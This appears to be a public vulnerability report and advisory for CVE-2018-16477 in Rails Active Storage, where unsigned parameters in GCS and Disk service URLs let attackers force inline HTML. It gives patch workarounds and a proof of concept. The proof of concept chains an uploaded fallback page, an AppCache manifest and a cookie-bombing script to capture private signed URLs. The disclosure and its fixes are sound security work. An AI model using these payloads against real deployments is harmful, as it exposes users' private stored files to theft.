Ruby on Rails · Report #407319
ActiveStorage service's signed URLs can be hijacked via AppCache+Cookie stuffing trick when using GCS or DiskService
Summary
Bypass vulnerability in Active Storage
There is a vulnerability in Active Storage. This vulnerability has been assigned the CVE identifier CVE-2018-16477.
Versions Affected: >= 5.2.0 Not affected: < 5.2.0 Fixed Versions: 5.2.1.1
Impact
Signed download URLs generated by ActiveStorage for Google Cloud Storage
service and Disk service include content-disposition and content-type
parameters that an attacker can modify. This can be used to upload specially
crafted HTML files and have them served and executed inline. Combined with
other techniques such as cookie bombing and specially crafted AppCache manifests,
an attacker can gain access to private signed URLs within a specific storage path.
Vulnerable apps are those using either GCS or the Disk service in production. Other storage services such as S3 or Azure aren't affected.
All users running an affected release should either upgrade or use one of the workarounds immediately. For those using GCS, it's also recommended to run the following to update existing blobs:
ActiveStorage::Blob.find_each do |blob|
blob.send :update_service_metadata
end
Releases
The FIXED releases are available at the normal locations.
Workarounds
Putting the following monkey patches in an intializer can help to mitigate the issue:
For GCS service:
require 'active_storage'
require 'active_storage/service/gcs_service'
module ActiveStorage
module GCSMetadata
def upload(key, io, checksum: nil, content_type: nil, disposition: nil, filename: nil)
instrument :upload, key: key, checksum: checksum do
begin
content_disposition = content_disposition_with(type: disposition, filename: filename) if disposition && filename
bucket.create_file(io, key, md5: checksum, content_type: content_type, content_disposition: content_disposition)
rescue Google::Cloud::InvalidArgumentError
raise ActiveStorage::IntegrityError
end
end
end
def update_metadata(key, content_type:, disposition: nil, filename: nil)
instrument :update_metadata, key: key, content_type: content_type, disposition: disposition do
file_for(key).update do |file|
file.content_type = content_type
if disposition && filename
file.content_disposition = content_disposition_with(type: disposition, filename: filename)
end
end
end
end
end
module StoreMetadata
def upload_without_unfurling(io)
service.upload key, io, checksum: checksum, **service_metadata
end
def identify
unless identified?
update! content_type: identify_content_type, identified: true
update_service_metadata
end
end
private
def service_metadata
if forcibly_serve_as_binary?
{ content_type: "application/octet-stream", disposition: :attachment, filename: filename }
else
{ content_type: content_type }
end
end
def update_service_metadata
service.update_metadata key, service_metadata if service_metadata.any?
end
end
end
Rails.application.config.to_prepare do
ActiveStorage::Service::GCSService.prepend ActiveStorage::GCSMetadata
ActiveStorage::Blob.prepend ActiveStorage::StoreMetadata
end
For Disk service:
require 'active_storage'
require 'active_storage/service/disk_service'
module ActiveStorage
module GetParamsFromKey
def show
if key = decode_verified_key
serve_file disk_service.path_for(key[:key]), content_type: key[:content_type], disposition: key[:disposition]
else
super
end
rescue Errno::ENOENT
head :not_found
end
end
module IncludeParamsInKey
def upload(key, io, checksum: nil, **)
super(key, io, checksum: checksum)
end
def update_metadata(key, **)
end
def url(key, expires_in:, filename:, disposition:, content_type:)
instrument :url, key: key do |payload|
content_disposition = content_disposition_with(type: disposition, filename: filename)
verified_key_with_expiration = ActiveStorage.verifier.generate(
{
key: key,
disposition: content_disposition,
content_type: content_type
},
{ expires_in: expires_in,
purpose: :blob_key }
)
generated_url = url_helpers.rails_disk_service_url(verified_key_with_expiration,
host: current_host,
disposition: content_disposition,
content_type: content_type,
filename: filename
)
payload[:url] = generated_url
generated_url
end
end
end
end
Rails.application.config.to_prepare do
ActiveStorage::DiskController.prepend ActiveStorage::GetParamsFromKey
ActiveStorage::Service::DiskService.prepend ActiveStorage::IncludeParamsInKey
end
How it was found
ActiveStorage tries to force content-disposition: attachment for a list of content-types, including text/html. However, response-content-type and response-content-disposition in GCS and DiskService's URLs aren't signed, which means an attacker can modify them at will. This is not the case for Azure or S3.
This can be exploited using AppCache and cookie bombing as follows:
- Upload the following file as
ActiveStorage::BlobFile: fallback.html
<html>
<script>
alert('Your request to the page '+location.href+' is hijacked!');
</script>
</html>
Grab the service signed URL for it and modify content type and content disposition params to text/html and inline.
- Now upload this other file using that URL as fallback: File: manifest.appcache
CACHE MANIFEST
FALLBACK:
/bucket_name/ [fallback_url from previous step]
In the same way, grab the signed service URL and modify content disposition and type to ensure it's served inline and as text/cache-manifest.
- Finally, upload this file using the service URL for manifest.appcache: File: main.html
<html manifest="[manifest_url from the manifest above]">
Any requests to this bucket will be hijacked.
<script>
setTimeout(function(){
for(var i = 1e3; i>0; i--){document.cookie = i + '=' + Array(4e3).join('0') + '; path=/'};
}, 3000);
</script>
</html>
Grab the service URL for main.html, modify content type and disposition to ensure it's served as inline and text/html, and trick a user of the Rails app with access to ActiveStorage attachments into clicking it.
Since it'll be open inline and as HTML, the JS code to overflow the cookies for the service (storage.googleapis.com in the case of GCS) will be executed. Next time the user makes a request for a file under the same bucket as main.html, googleapis.com will return an error due to the size of the cookie headers. This will be interpreted as being offline by the browser, which will offer the fallback specified in the manifest. The fallback.html above will be opened inline and as HTML as well, and its JS code executed. That code can be made to send location.href (the signed URL) to the attacker.
Impact
Gain access to signed URLs for private objects, which in practice means access to those objects, as signed URLs is all that is needed.